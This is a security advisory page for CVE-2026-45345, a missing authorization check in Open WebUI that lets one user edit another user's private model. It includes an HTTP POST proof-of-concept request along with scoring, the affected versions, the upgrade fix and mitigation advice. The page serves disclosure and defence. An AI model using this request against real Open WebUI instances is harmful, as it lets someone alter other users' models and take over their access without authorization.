CVE-2026-45345 — open-webui
MEDIUMCVE-2026-45345 is a medium-severity (CVSS 6.5) CWE-285 vulnerability in open-webui. A fix is available for open-webui — see the affected versions and patch details below.
Open WebUI: Missing authorization check at the model update function - models from other users can be updated
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-45345.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-45345 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
open-webuiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A user can modify another user's model even if its visibility is set to Private.
The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.
Details / PoC
The user Victim created a private model with the visibility set to private:
The user Attacker can edit this model using the following POST request:
POST /api/v1/models/model/update?id=aaabraaa HTTP/2
Host: domain.local
//Some headers removed
Te: trailers
{"id":"aaabraaa","base_model_id":"gpt-4o-POC","name":"testmodel","meta":{"profile_image_url":"/static/favicon.png","description":"","capabilities":{"vision":true,"usage":false,"citations":true},"suggestion_prompts":null,"tags":[],"toolIds":["test"]},"params":{},"user_id":"565c82e6-083f-42bb-bf0f-a4e214cfb9ad","access_control":{"read":{"group_ids":[],"user_ids":[]},"write":{"group_ids":[],"user_ids":[]}},"is_active":true,"updated_at":1737314575,"created_at":1737121281}
Request / Response
Impact
A user can modify another user's model even if its visibility is set to Private. By changing the access permissions during editing, unauthorized access can be gained.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | open-webui | all versions | 0.5.7pip install --upgrade 'open-webui==0.5.7' |
Affected Products
open webuiopenwebuiDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update open-webui to 0.5.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-45345 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2026-45345 in your dependencies?
Find it across PyPI, including transitive dependencies.